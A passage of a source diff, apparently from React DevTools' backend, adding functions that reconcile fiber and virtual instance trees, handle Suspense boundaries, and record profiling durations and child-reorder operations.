+        const hydrated = isFiberHydrated(fiber);
+        if (hydrated) {
+          if (contentFiber === null) {
+            throw new Error(
+              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+            );
+          }
+
+          trackThrownPromisesFromRetryCache(newSuspenseNode, fiber.stateNode);
+
+          mountSuspenseChildrenRecursively(
+            contentFiber,
+            traceNearestHostComponentUpdate,
+            stashedSuspenseParent,
+            stashedSuspensePrevious,
+            stashedSuspenseRemaining,
+          );
+          // mountSuspenseChildrenRecursively popped already
+          shouldPopSuspenseNode = false;
+        } else {
+          // This Suspense Fiber is still dehydrated. It won't have any children
+          // until hydration.
+        }
+      } else {
+        if (fiber.child !== null) {
+          mountChildrenRecursively(
+            fiber.child,
+            traceNearestHostComponentUpdate,
+          );
+        }
+      }
+    } finally {
+      isInFocusedActivity = stashedIsInActivitySlice;
+      if (newInstance !== null) {
+        reconcilingParent = stashedParent;
+        previouslyReconciledSibling = stashedPrevious;
+        remainingReconcilingChildren = stashedRemaining;
+      }
+      if (shouldPopSuspenseNode) {
+        reconcilingParentSuspenseNode = stashedSuspenseParent;
+        previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+        remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+      }
+    }
+
+    // We're exiting this Fiber now, and entering its siblings.
+    // If we have selection to restore, we might need to re-activate tracking.
+    updateTrackedPathStateAfterMount(mightSiblingsBeOnTrackedPath);
+  }
+
+  // We use this to simulate unmounting for Suspense trees
+  // when we switch from primary to fallback, or deleting a subtree.
+  function unmountInstanceRecursively(instance: DevToolsInstance) {
+    if (__DEBUG__) {
+      debug('unmountInstanceRecursively()', instance, reconcilingParent);
+    }
+
+    let shouldPopSuspenseNode = false;
+    const stashedParent = reconcilingParent;
+    const stashedPrevious = previouslyReconciledSibling;
+    const stashedRemaining = remainingReconcilingChildren;
+    const stashedSuspenseParent = reconcilingParentSuspenseNode;
+    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;
+    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;
+    const stashedIsInActivitySlice = isInFocusedActivity;
+    const previousSuspendedBy = instance.suspendedBy;
+    // Push a new DevTools instance parent while reconciling this subtree.
+    reconcilingParent = instance;
+    previouslyReconciledSibling = null;
+    // Move all the children of this instance to the remaining set.
+    remainingReconcilingChildren = instance.firstChild;
+    instance.firstChild = null;
+    instance.suspendedBy = null;
+
+    if (instance.suspenseNode !== null) {
+      reconcilingParentSuspenseNode = instance.suspenseNode;
+      previouslyReconciledSiblingSuspenseNode = null;
+      remainingReconcilingChildrenSuspenseNodes =
+        instance.suspenseNode.firstChild;
+
+      shouldPopSuspenseNode = true;
+    }
+
+    if (focusedActivity !== null) {
+      if (instance.id === focusedActivityID) {
+        isInFocusedActivity = true;
+      } else if (
+        instance.kind === FIBER_INSTANCE &&
+        instance.data !== null &&
+        instance.data.tag === ActivityComponent
+      ) {
+        // Filtering nested Activity components inside the focused activity
+        // is done in the frontend.
+      }
+    }
+
+    try {
+      // Unmount the remaining set.
+      if (
+        (instance.kind === FIBER_INSTANCE ||
+          instance.kind === FILTERED_FIBER_INSTANCE) &&
+        instance.data.tag === SuspenseComponent &&
+        OffscreenComponent !== -1
+      ) {
+        const fiber = instance.data;
+        const contentFiberInstance = remainingReconcilingChildren;
+        const hydrated = isFiberHydrated(fiber);
+        if (hydrated) {
+          if (contentFiberInstance === null) {
+            throw new Error(
+              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+            );
+          }
+
+          unmountSuspenseChildrenRecursively(
+            contentFiberInstance,
+            stashedSuspenseParent,
+            stashedSuspensePrevious,
+            stashedSuspenseRemaining,
+          );
+          // unmountSuspenseChildren already popped
+          shouldPopSuspenseNode = false;
+        } else {
+          if (contentFiberInstance !== null) {
+            throw new Error(
+              'A dehydrated Suspense node should not have a content Fiber.',
+            );
+          }
+        }
+      } else {
+        unmountRemainingChildren();
+      }
+      removePreviousSuspendedBy(
+        instance,
+        previousSuspendedBy,
+        reconcilingParentSuspenseNode,
+      );
+    } finally {
+      reconcilingParent = stashedParent;
+      previouslyReconciledSibling = stashedPrevious;
+      remainingReconcilingChildren = stashedRemaining;
+      if (shouldPopSuspenseNode) {
+        reconcilingParentSuspenseNode = stashedSuspenseParent;
+        previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+        remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+      }
+      isInFocusedActivity = stashedIsInActivitySlice;
+    }
+    if (instance.kind === FIBER_INSTANCE) {
+      recordUnmount(instance);
+    } else if (instance.kind === VIRTUAL_INSTANCE) {
+      recordVirtualUnmount(instance);
+    } else {
+      untrackFiber(instance, instance.data);
+    }
+    removeChild(instance, null);
+  }
+
+  function recordProfilingDurations(
+    fiberInstance: FiberInstance,
+    prevFiber: null | Fiber,
+  ) {
+    const id = fiberInstance.id;
+    const fiber = fiberInstance.data;
+    const {actualDuration, treeBaseDuration} = fiber;
+
+    fiberInstance.treeBaseDuration = treeBaseDuration || 0;
+
+    if (isProfiling) {
+      // It's important to update treeBaseDuration even if the current Fiber did not render,
+      // because it's possible that one of its descendants did.
+      if (
+        prevFiber == null ||
+        treeBaseDuration !== prevFiber.treeBaseDuration
+      ) {
+        // Tree base duration updates are included in the operations typed array.
+        // So we have to convert them from milliseconds to microseconds so we can send them as ints.
+        const convertedTreeBaseDuration = Math.floor(
+          (treeBaseDuration || 0) * 1000,
+        );
+        pushOperation(TREE_OPERATION_UPDATE_TREE_BASE_DURATION);
+        pushOperation(id);
+        pushOperation(convertedTreeBaseDuration);
+      }
+
+      if (
+        prevFiber == null ||
+        (prevFiber !== fiber &&
+          didFiberRender(ReactTypeOfWork, prevFiber, fiber))
+      ) {
+        if (actualDuration != null) {
+          // The actual duration reported by React includes time spent working on children.
+          // This is useful information, but it's also useful to be able to exclude child durations.
+          // The frontend can't compute this, since the immediate children may have been filtered out.
+          // So we need to do this on the backend.
+          // Note that this calculated self duration is not the same thing as the base duration.
+          // The two are calculated differently (tree duration does not accumulate).
+          let selfDuration = actualDuration;
+          let child = fiber.child;
+          while (child !== null) {
+            selfDuration -= child.actualDuration || 0;
+            child = child.sibling;
+          }
+
+          // If profiling is active, store durations for elements that were rendered during the commit.
+          // Note that we should do this for any fiber we performed work on, regardless of its actualDuration value.
+          // In some cases actualDuration might be 0 for fibers we worked on (particularly if we're using Date.now)
+          // In other cases (e.g. Memo) actualDuration might be greater than 0 even if we "bailed out".
+          const metadata =
+            ((currentCommitProfilingMetadata: any): CommitProfilingData);
+          metadata.durations.push(id, actualDuration, selfDuration);
+          metadata.maxActualDuration = Math.max(
+            metadata.maxActualDuration,
+            actualDuration,
+          );
+
+          if (recordChangeDescriptions) {
+            const changeDescription = getChangeDescription(prevFiber, fiber);
+            if (changeDescription !== null) {
+              if (metadata.changeDescriptions !== null) {
+                metadata.changeDescriptions.set(id, changeDescription);
+              }
+            }
+          }
+        }
+      }
+
+      // If this Fiber was in the set of memoizedUpdaters we need to record
+      // it to be included in the description of the commit.
+      const fiberRoot: FiberRoot = currentRoot.data.stateNode;
+      const updaters = fiberRoot.memoizedUpdaters;
+      if (
+        updaters != null &&
+        (updaters.has(fiber) ||
+          // We check the alternate here because we're matching identity and
+          // prevFiber might be same as fiber.
+          (fiber.alternate !== null && updaters.has(fiber.alternate)))
+      ) {
+        const metadata =
+          ((currentCommitProfilingMetadata: any): CommitProfilingData);
+        if (metadata.updaters === null) {
+          metadata.updaters = [];
+        }
+        metadata.updaters.push(instanceToSerializedElement(fiberInstance));
+      }
+    }
+  }
+
+  function recordVirtualProfilingDurations(virtualInstance: VirtualInstance) {
+    const id = virtualInstance.id;
+
+    let treeBaseDuration = 0;
+    // Add up the base duration of the child instances. The virtual base duration
+    // will be the same as children's duration since we don't take up any render
+    // time in the virtual instance.
+    for (
+      let child = virtualInstance.firstChild;
+      child !== null;
+      child = child.nextSibling
+    ) {
+      treeBaseDuration += child.treeBaseDuration;
+    }
+
+    if (isProfiling) {
+      const previousTreeBaseDuration = virtualInstance.treeBaseDuration;
+      if (treeBaseDuration !== previousTreeBaseDuration) {
+        // Tree base duration updates are included in the operations typed array.
+        // So we have to convert them from milliseconds to microseconds so we can send them as ints.
+        const convertedTreeBaseDuration = Math.floor(
+          (treeBaseDuration || 0) * 1000,
+        );
+        pushOperation(TREE_OPERATION_UPDATE_TREE_BASE_DURATION);
+        pushOperation(id);
+        pushOperation(convertedTreeBaseDuration);
+      }
+    }
+
+    virtualInstance.treeBaseDuration = treeBaseDuration;
+  }
+
+  function addUnfilteredChildrenIDs(
+    parentInstance: DevToolsInstance,
+    nextChildren: Array<number>,
+  ): void {
+    let child: null | DevToolsInstance = parentInstance.firstChild;
+    while (child !== null) {
+      if (child.kind === FILTERED_FIBER_INSTANCE) {
+        const fiber = child.data;
+        if (isHiddenOffscreen(fiber) && !isActivityHiddenOffscreen(fiber)) {
+          // The children of this Offscreen are hidden so they don't get added.
+          // Activity's hidden children are still shown in the tree.
+        } else {
+          addUnfilteredChildrenIDs(child, nextChildren);
+        }
+      } else {
+        nextChildren.push(child.id);
+      }
+      child = child.nextSibling;
+    }
+  }
+
+  function recordResetChildren(
+    parentInstance: FiberInstance | VirtualInstance,
+  ) {
+    if (__DEBUG__) {
+      if (parentInstance.firstChild !== null) {
+        debug(
+          'recordResetChildren()',
+          parentInstance.firstChild,
+          parentInstance,
+        );
+      }
+    }
+    // The frontend only really cares about the displayName, key, and children.
+    // The first two don't really change, so we are only concerned with the order of children here.
+    // This is trickier than a simple comparison though, since certain types of fibers are filtered.
+    const nextChildren: Array<number> = [];
+
+    addUnfilteredChildrenIDs(parentInstance, nextChildren);
+
+    const numChildren = nextChildren.length;
+    if (numChildren < 2) {
+      // No need to reorder.
+      return;
+    }
+    pushOperation(TREE_OPERATION_REORDER_CHILDREN);
+    pushOperation(parentInstance.id);
+    pushOperation(numChildren);
+    for (let i = 0; i < nextChildren.length; i++) {
+      pushOperation(nextChildren[i]);
+    }
+  }
+
+  function addUnfilteredSuspenseChildrenIDs(
+    parentInstance: SuspenseNode,
+    nextChildren: Array<number>,
+  ): void {
+    let child: null | SuspenseNode = parentInstance.firstChild;
+    while (child !== null) {
+      if (child.instance.kind === FILTERED_FIBER_INSTANCE) {
+        addUnfilteredSuspenseChildrenIDs(child, nextChildren);
+      } else {
+        nextChildren.push(child.instance.id);
+      }
+      child = child.nextSibling;
+    }
+  }
+
+  function recordResetSuspenseChildren(parentInstance: SuspenseNode) {
+    if (__DEBUG__) {
+      if (parentInstance.firstChild !== null) {
+        console.log(
+          'recordResetSuspenseChildren()',
+          parentInstance.firstChild,
+          parentInstance,
+        );
+      }
+    }
+    // The frontend only really cares about the name, and children.
+    // The first two don't really change, so we are only concerned with the order of children here.
+    // This is trickier than a simple comparison though, since certain types of fibers are filtered.
+    const nextChildren: Array<number> = [];
+
+    addUnfilteredSuspenseChildrenIDs(parentInstance, nextChildren);
+
+    const numChildren = nextChildren.length;
+    if (numChildren < 2) {
+      // No need to reorder.
+      return;
+    }
+    pushOperation(SUSPENSE_TREE_OPERATION_REORDER_CHILDREN);
+    // $FlowFixMe[incompatible-call] TODO: Allow filtering SuspenseNode
+    pushOperation(parentInstance.instance.id);
+    pushOperation(numChildren);
+    for (let i = 0; i < nextChildren.length; i++) {
+      pushOperation(nextChildren[i]);
+    }
+  }
+
+  function updateVirtualInstanceRecursively(
+    virtualInstance: VirtualInstance,
+    nextFirstChild: Fiber,
+    nextLastChild: null | Fiber, // non-inclusive
+    prevFirstChild: null | Fiber,
+    traceNearestHostComponentUpdate: boolean,
+    virtualLevel: number, // the nth level of virtual instances
+  ): UpdateFlags {
+    const stashedParent = reconcilingParent;
+    const stashedPrevious = previouslyReconciledSibling;
+    const stashedRemaining = remainingReconcilingChildren;
+    const previousSuspendedBy = virtualInstance.suspendedBy;
+    // Push a new DevTools instance parent while reconciling this subtree.
+    reconcilingParent = virtualInstance;
+    previouslyReconciledSibling = null;
+    // Move all the children of this instance to the remaining set.
+    // We'll move them back one by one, and anything that remains is deleted.
+    remainingReconcilingChildren = virtualInstance.firstChild;
+    virtualInstance.firstChild = null;
+    virtualInstance.suspendedBy = null;
+    try {
+      let updateFlags = updateVirtualChildrenRecursively(
+        nextFirstChild,
+        nextLastChild,
+        prevFirstChild,
+        traceNearestHostComponentUpdate,
+        virtualLevel + 1,
+      );
+      if ((updateFlags & ShouldResetChildren) !== NoUpdate) {
+        if (!isInDisconnectedSubtree) {
+          recordResetChildren(virtualInstance);
+        }
+        updateFlags &= ~ShouldResetChildren;
+      }
+      removePreviousSuspendedBy(
+        virtualInstance,
+        previousSuspendedBy,
+        reconcilingParentSuspenseNode,
+      );
+      // Update the errors/warnings count. If this Instance has switched to a different
+      // ReactComponentInfo instance, such as when refreshing Server Components, then
+      // we replace all the previous logs with the ones associated with the new ones rather
+      // than merging. Because deduping is expected to happen at the request level.
+      const componentLogsEntry = componentInfoToComponentLogsMap.get(
+        virtualInstance.data,
+      );
+      recordConsoleLogs(virtualInstance, componentLogsEntry);
+      // Must be called after all children have been appended.
+      recordVirtualProfilingDurations(virtualInstance);
+
+      return updateFlags;
+    } finally {
+      unmountRemainingChildren();
+      reconcilingParent = stashedParent;
+      previouslyReconciledSibling = stashedPrevious;
+      remainingReconcilingChildren = stashedRemaining;
+    }
+  }
+
+  function updateVirtualChildrenRecursively(
+    nextFirstChild: Fiber,
+    nextLastChild: null | Fiber, // non-inclusive
+    prevFirstChild: null | Fiber,
+    traceNearestHostComponentUpdate: boolean,
+    virtualLevel: number, // the nth level of virtual instances
+  ): UpdateFlags {
+    let updateFlags = NoUpdate;
+    // If the first child is different, we need to traverse them.
+    // Each next child will be either a new child (mount) or an alternate (update).
+    let nextChild: null | Fiber = nextFirstChild;
+    let prevChildAtSameIndex = prevFirstChild;
+    let previousVirtualInstance: null | VirtualInstance = null;
+    let previousVirtualInstanceWasMount: boolean = false;
+    let previousVirtualInstanceNextFirstFiber: Fiber = nextFirstChild;
+    let previousVirtualInstancePrevFirstFiber: null | Fiber = prevFirstChild;
+    while (nextChild !== null && nextChild !== nextLastChild) {
+      let level = 0;
+      if (nextChild._debugInfo) {
+        for (let i = 0; i < nextChild._debugInfo.length; i++) {
+          const debugEntry = nextChild._debugInfo[i];
+          if (debugEntry.awaited) {
+            // Async Info
+            const asyncInfo: ReactAsyncInfo = (debugEntry: any);
+            if (level === virtualLevel) {
+              // Track any async info between the previous virtual instance up until to this
+              // instance and add it to the parent. This can add the same set multiple times
+              // so we assume insertSuspendedBy dedupes.
+              insertSuspendedBy(asyncInfo);
+            }
+            continue;
+          }
+          if (typeof debugEntry.name !== 'string') {
+            // Not a Component. Some other Debug Info.
+            continue;
+          }
+          const componentInfo: ReactComponentInfo = (debugEntry: any);
+          const secondaryEnv = getSecondaryEnvironmentName(
+            nextChild._debugInfo,
+            i,
+          );
+          if (componentInfo.env != null) {
+            knownEnvironmentNames.add(componentInfo.env);
+          }
+          if (secondaryEnv !== null) {
+            knownEnvironmentNames.add(secondaryEnv);
+          }
+          if (shouldFilterVirtual(componentInfo, secondaryEnv)) {
+            continue;
+          }
+          if (level === virtualLevel) {
+            if (
+              previousVirtualInstance === null ||
+              // Consecutive children with the same debug entry as a parent gets
+              // treated as if they share the same virtual instance.
+              previousVirtualInstance.data !== componentInfo
+            ) {
+              if (previousVirtualInstance !== null) {
+                // Mount any previous children that should go into the previous parent.
+                if (previousVirtualInstanceWasMount) {
+                  mountVirtualInstanceRecursively(
+                    previousVirtualInstance,
+                    previousVirtualInstanceNextFirstFiber,
+                    nextChild,
+                    traceNearestHostComponentUpdate,
+                    virtualLevel,
+                  );
+                  updateFlags |=
+                    ShouldResetChildren | ShouldResetSuspenseChildren;
+                } else {
+                  updateFlags |= updateVirtualInstanceRecursively(
+                    previousVirtualInstance,
+                    previousVirtualInstanceNextFirstFiber,
+                    nextChild,
+                    previousVirtualInstancePrevFirstFiber,
+                    traceNearestHostComponentUpdate,
+                    virtualLevel,
+                  );
+                }
+              }
+              let previousSiblingOfBestMatch = null;
+              let bestMatch = remainingReconcilingChildren;
+              if (
+                componentInfo.key != null &&
+                componentInfo.key !== REACT_OPTIMISTIC_KEY
+              ) {
+                // If there is a key try to find a matching key in the set.
+                bestMatch = remainingReconcilingChildren;
+                while (bestMatch !== null) {
+                  if (
+                    bestMatch.kind === VIRTUAL_INSTANCE &&
+                    bestMatch.data.key === componentInfo.key
+                  ) {
+                    break;
+                  }
+                  previousSiblingOfBestMatch = bestMatch;
+                  bestMatch = bestMatch.nextSibling;
+                }
+              }
+              if (
+                bestMatch !== null &&
+                bestMatch.kind === VIRTUAL_INSTANCE &&
+                bestMatch.data.name === componentInfo.name &&
+                bestMatch.data.env === componentInfo.env &&
+                bestMatch.data.key === componentInfo.key
+              ) {
+                // If the previous children had a virtual instance in the same slot
+                // with the same name, then we claim it and reuse it for this update.
+                // Update it with the latest entry.
+                bestMatch.data = componentInfo;
+                moveChild(bestMatch, previousSiblingOfBestMatch);
+                previousVirtualInstance = bestMatch;
+                previousVirtualInstanceWasMount = false;
+              } else {
+                // Otherwise we create a new instance.
+                const newVirtualInstance = createVirtualInstance(componentInfo);
+                recordVirtualMount(
+                  newVirtualInstance,
+                  reconcilingParent,
+                  secondaryEnv,
+                );
+                insertChild(newVirtualInstance);
+                previousVirtualInstance = newVirtualInstance;
+                previousVirtualInstanceWasMount = true;
+                updateFlags |= ShouldResetChildren;
+              }
+              // Existing children might be reparented into this new virtual instance.
+              // TODO: This will cause the front end to error which needs to be fixed.
+              previousVirtualInstanceNextFirstFiber = nextChild;
+              previousVirtualInstancePrevFirstFiber = prevChildAtSameIndex;
+            }
+            level++;
+            break;
+          } else {
+            level++;
+          }
+        }
+      }
+      if (level === virtualLevel) {
+        if (previousVirtualInstance !== null) {
+          // If we were working on a virtual instance and this is not a virtual
+          // instance, then we end the sequence and update any previous children
+          // that should go into the previous virtual instance.
+          if (previousVirtualInstanceWasMount) {
+            mountVirtualInstanceRecursively(
+              previousVirtualInstance,
+              previousVirtualInstanceNextFirstFiber,
+              nextChild,
+              traceNearestHostComponentUpdate,
+              virtualLevel,
+            );
+            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+          } else {
+            updateFlags |= updateVirtualInstanceRecursively(
+              previousVirtualInstance,
+              previousVirtualInstanceNextFirstFiber,
+              nextChild,
+              previousVirtualInstancePrevFirstFiber,
+              traceNearestHostComponentUpdate,
+              virtualLevel,
+            );
+          }
+          previousVirtualInstance = null;
+        }
+
+        // We've reached the end of the virtual levels, but not beyond,
+        // and now continue with the regular fiber.
+
+        // Do a fast pass over the remaining children to find the previous instance.
+        // TODO: This doesn't have the best O(n) for a large set of children that are
+        // reordered. Consider using a temporary map if it's not the very next one.
+        let prevChild;
+        if (prevChildAtSameIndex === nextChild) {
+          // This set is unchanged. We're just going through it to place all the
+          // children again.
+          prevChild = nextChild;
+        } else {
+          // We don't actually need to rely on the alternate here. We could also
+          // reconcile against stateNode, key or whatever. Doesn't have to be same
+          // Fiber pair.
+          prevChild = nextChild.alternate;
+        }
+        let previousSiblingOfExistingInstance = null;
+        let existingInstance = null;
+        if (prevChild !== null) {
+          existingInstance = remainingReconcilingChildren;
+          while (existingInstance !== null) {
+            if (existingInstance.data === prevChild) {
+              break;
+            }
+            previousSiblingOfExistingInstance = existingInstance;
+            existingInstance = existingInstance.nextSibling;
+          }
+        }
+        if (existingInstance !== null) {
+          // Common case. Match in the same parent.
+          const fiberInstance: FiberInstance | FilteredFiberInstance =
+            (existingInstance: any); // Only matches if it's a Fiber.
+
+          // We keep track if the order of the children matches the previous order.
+          // They are always different referentially, but if the instances line up
+          // conceptually we'll want to know that.
+          if (prevChild !== prevChildAtSameIndex) {
+            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+          }
+
+          moveChild(fiberInstance, previousSiblingOfExistingInstance);
+
+          // If a nested tree child order changed but it can't handle its own
+          // child order invalidation (e.g. because it's filtered out like host nodes),
+          // propagate the need to reset child order upwards to this Fiber.
+          updateFlags |= updateFiberRecursively(
+            fiberInstance,
+            nextChild,
+            (prevChild: any),
+            traceNearestHostComponentUpdate,
+          );
+        } else if (prevChild !== null && shouldFilterFiber(nextChild)) {
+          // The filtered instance could've reordered.
+          if (prevChild !== prevChildAtSameIndex) {
+            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+          }
+
+          // If this Fiber should be filtered, we need to still update its children.
+          // This relies on an alternate since we don't have an Instance with the previous
+          // child on it. Ideally, the reconciliation wouldn't need previous Fibers that
+          // are filtered from the tree.
+          updateFlags |= updateFiberRecursively(
+            null,
+            nextChild,
+            prevChild,
+            traceNearestHostComponentUpdate,
+          );
+        } else {
+          // It's possible for a FiberInstance to be reparented when virtual parents
+          // get their sequence split or change structure with the same render result.
+          // In this case we unmount the and remount the FiberInstances.
+          // This might cause us to lose the selection but it's an edge case.
+
+          // We let the previous instance remain in the "remaining queue" it is
+          // in to be deleted at the end since it'll have no match.
+
+          mountFiberRecursively(nextChild, traceNearestHostComponentUpdate);
+          // Need to mark the parent set to remount the new instance.
+          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+        }
+      }
+      // Try the next child.
+      nextChild = nextChild.sibling;
+      // Advance the pointer in the previous list so that we can
+      // keep comparing if they line up.
+      if (
+        (updateFlags & ShouldResetChildren) === NoUpdate &&
+        prevChildAtSameIndex !== null
+      ) {
+        prevChildAtSameIndex = prevChildAtSameIndex.sibling;
+      }
+    }
+    if (previousVirtualInstance !== null) {
+      if (previousVirtualInstanceWasMount) {
+        mountVirtualInstanceRecursively(
+          previousVirtualInstance,
+          previousVirtualInstanceNextFirstFiber,
+          null,
+          traceNearestHostComponentUpdate,
+          virtualLevel,
+        );
+        updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+      } else {
+        updateFlags |= updateVirtualInstanceRecursively(
+          previousVirtualInstance,
+          previousVirtualInstanceNextFirstFiber,
+          null,
+          previousVirtualInstancePrevFirstFiber,
+          traceNearestHostComponentUpdate,
+          virtualLevel,
+        );
+      }
+    }
+    // If we have no more children, but used to, they don't line up.
+    if (prevChildAtSameIndex !== null) {
+      updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+    }
+    return updateFlags;
+  }
+
+  // Returns whether closest unfiltered fiber parent needs to reset its child list.
+  function updateChildrenRecursively(
+    nextFirstChild: null | Fiber,
+    prevFirstChild: null | Fiber,
+    traceNearestHostComponentUpdate: boolean,
+  ): UpdateFlags {
+    if (nextFirstChild === null) {
+      return prevFirstChild !== null ? ShouldResetChildren : NoUpdate;
+    }
+    return updateVirtualChildrenRecursively(
+      nextFirstChild,
+      null,
+      prevFirstChild,
+      traceNearestHostComponentUpdate,
+      0,
+    );
+  }
+
+  function updateSuspenseChildrenRecursively(
+    nextContentFiber: Fiber,
+    prevContentFiber: Fiber,
+    traceNearestHostComponentUpdate: boolean,
+    stashedSuspenseParent: null | SuspenseNode,
+    stashedSuspensePrevious: null | SuspenseNode,
+    stashedSuspenseRemaining: null | SuspenseNode,
+  ): UpdateFlags {
+    let updateFlags = NoUpdate;
+    const prevFallbackFiber = prevContentFiber.sibling;
+    const nextFallbackFiber = nextContentFiber.sibling;
+
+    // First update only the Offscreen boundary. I.e. the main content.
+    updateFlags |= updateVirtualChildrenRecursively(
+      nextContentFiber,
+      nextFallbackFiber,
+      prevContentFiber,
+      traceNearestHostComponentUpdate,
+      0,
+    );
+
+    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll
+    // reconcile the fallback, reconciling anything in the context of the parent SuspenseNode.
+    // Since the fallback conceptually blocks the parent.
+    reconcilingParentSuspenseNode = stashedSuspenseParent;
+    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+    if (prevFallbackFiber !== null || nextFallbackFiber !== null) {
+      if (nextFallbackFiber === null) {
+        unmountRemainingChildren();
+      } else {
+        updateFlags |= updateVirtualChildrenRecursively(
+          nextFallbackFiber,
+          null,
+          prevFallbackFiber,
+          traceNearestHostComponentUpdate,
+          0,
+        );
+
+        if ((updateFlags & ShouldResetSuspenseChildren) !== NoUpdate) {
+          updateFlags |= ShouldResetParentSuspenseChildren;
+          updateFlags &= ~ShouldResetSuspenseChildren;
+        }
+      }
+    }
+
+    return updateFlags;
+  }
+
+  // Returns whether closest unfiltered fiber parent needs to reset its child list.
+  function updateFiberRecursively(
+    fiberInstance: null | FiberInstance | FilteredFiberInstance, // null if this should be filtered
+    nextFiber: Fiber,
+    prevFiber: Fiber,
+    traceNearestHostComponentUpdate: boolean,
+  ): UpdateFlags {
+    if (__DEBUG__) {
+      if (fiberInstance !== null) {
+        debug('updateFiberRecursively()', fiberInstance, reconcilingParent);
+      }
+    }
+
+    if (traceUpdatesEnabled) {
+      const elementType = getElementTypeForFiber(nextFiber);
+      if (traceNearestHostComponentUpdate) {
+        // If an ancestor updated, we should mark the nearest host nodes for highlighting.
+        if (elementType === ElementTypeHostComponent) {
+          traceUpdatesForNodes.add(nextFiber.stateNode);
+          traceNearestHostComponentUpdate = false;
+        }
+      } else {
+        if (
+          elementType === ElementTypeFunction ||
+          elementType === ElementTypeClass ||
+          elementType === ElementTypeContext ||
+          elementType === ElementTypeMemo ||
+          elementType === ElementTypeForwardRef
+        ) {
+          if (prevFiber !== nextFiber) {
+            // Otherwise if this is a traced ancestor, flag for the nearest host descendant(s).
+            traceNearestHostComponentUpdate = didFiberRender(
+              ReactTypeOfWork,
+              prevFiber,
+              nextFiber,
+            );
+          }
+        }
+      }
+    }
+
+    const stashedParent = reconcilingParent;
+    const stashedPrevious = previouslyReconciledSibling;
+    const stashedRemaining = remainingReconcilingChildren;
+    const stashedSuspenseParent = reconcilingParentSuspenseNode;
+    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;
+    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;
+    const stashedIsInActivitySlice = isInFocusedActivity;
+    let updateFlags = NoUpdate;
+    let shouldMeasureSuspenseNode = false;
+    let shouldPopSuspenseNode = false;
+    let previousSuspendedBy = null;
+    if (fiberInstance !== null) {
+      previousSuspendedBy = fiberInstance.suspendedBy;
+      // Update the Fiber so we that we always keep the current Fiber on the data.
+      fiberInstance.data = nextFiber;
+      if (prevFiber !== nextFiber) {
+        if (
+          mostRecentlyInspectedElement !== null &&
+          (mostRecentlyInspectedElement.id === fiberInstance.id ||
+            // If we're inspecting a Root, we inspect the Screen.
+            // Invalidating any Root invalidates the Screen too.
+            (mostRecentlyInspectedElement.type === ElementTypeRoot &&
+              nextFiber.tag === HostRoot)) &&
+          didFiberRender(ReactTypeOfWork, prevFiber, nextFiber)
+        ) {
+          // If this Fiber has updated, clear cached inspected data.
+          // If it is inspected again, it may need to be re-run to obtain updated hooks values.
+          hasElementUpdatedSinceLastInspected = true;
+        }
+      }
+      // Push a new DevTools instance parent while reconciling this subtree.
+      reconcilingParent = fiberInstance;
+      previouslyReconciledSibling = null;
+      // Move all the children of this instance to the remaining set.
+      // We'll move them back one by one, and anything that remains is deleted.
+      remainingReconcilingChildren = fiberInstance.firstChild;
+      fiberInstance.firstChild = null;
+      fiberInstance.suspendedBy = null;
+
+      const suspenseNode = fiberInstance.suspenseNode;
+      if (suspenseNode !== null) {
+        reconcilingParentSuspenseNode = suspenseNode;
+        previouslyReconciledSiblingSuspenseNode = null;
+        remainingReconcilingChildrenSuspenseNodes = suspenseNode.firstChild;
+        suspenseNode.firstChild = null;
+        shouldMeasureSuspenseNode = true;
+        shouldPopSuspenseNode = true;
+      }
+
+      if (focusedActivity !== null) {
+        if (fiberInstance.id === focusedActivityID) {
+          isInFocusedActivity = true;
+        } else if (nextFiber.tag === ActivityComponent) {
+          // Filtering nested Activity components inside the focused activity
+          // is done in the frontend.
+        }
+      }
+    }
+    try {
+      trackDebugInfoFromLazyType(nextFiber);
+      trackDebugInfoFromUsedThenables(nextFiber);
+
+      if (nextFiber.tag === HostHoistable) {
+        const nearestInstance = reconcilingParent;
+        if (nearestInstance === null) {
+          throw new Error('Did not expect a host hoistable to be the root');
+        }
+        if (prevFiber.memoizedState !== nextFiber.memoizedState) {
+          releaseHostResource(nearestInstance, prevFiber.memoizedState);
+          aquireHostResource(nearestInstance, nextFiber.memoizedState);
+        }
+        trackDebugInfoFromHostResource(nearestInstance, nextFiber);
+      } else if (
+        nextFiber.tag === HostComponent ||
+        nextFiber.tag === HostText ||
+        nextFiber.tag === HostSingleton
+      ) {
+        const nearestInstance = reconcilingParent;
+        if (nearestInstance === null) {
+          throw new Error('Did not expect a host hoistable to be the root');
+        }
+        if (prevFiber.stateNode !== nextFiber.stateNode) {
+          // In persistent mode, it's possible for the stateNode to update with
+          // a new clone. In that case we need to release the old one and aquire
+          // new one instead.
+          releaseHostInstance(nearestInstance, prevFiber.stateNode);
+          aquireHostInstance(nearestInstance, nextFiber.stateNode);
+        }
+        trackDebugInfoFromHostComponent(nearestInstance, nextFiber);
+      }
+
+      // The behavior of timed-out legacy Suspense trees is unique. Without the Offscreen wrapper.
+      // Rather than unmount the timed out content (and possibly lose important state),
+      // React re-parents this content within a hidden Fragment while the fallback is showing.
+      // This behavior doesn't need to be observable in the DevTools though.
+      // It might even result in a bad user experience for e.g. node selection in the Elements panel.
+      // The easiest fix is to strip out the intermediate Fragment fibers,
+      // so the Elements panel and Profiler don't need to special case them.
+      const isLegacySuspense =
+        nextFiber.tag === SuspenseComponent && OffscreenComponent === -1;
+      // Suspense components only have a non-null memoizedState if they're timed-out.
+      const prevDidTimeout =
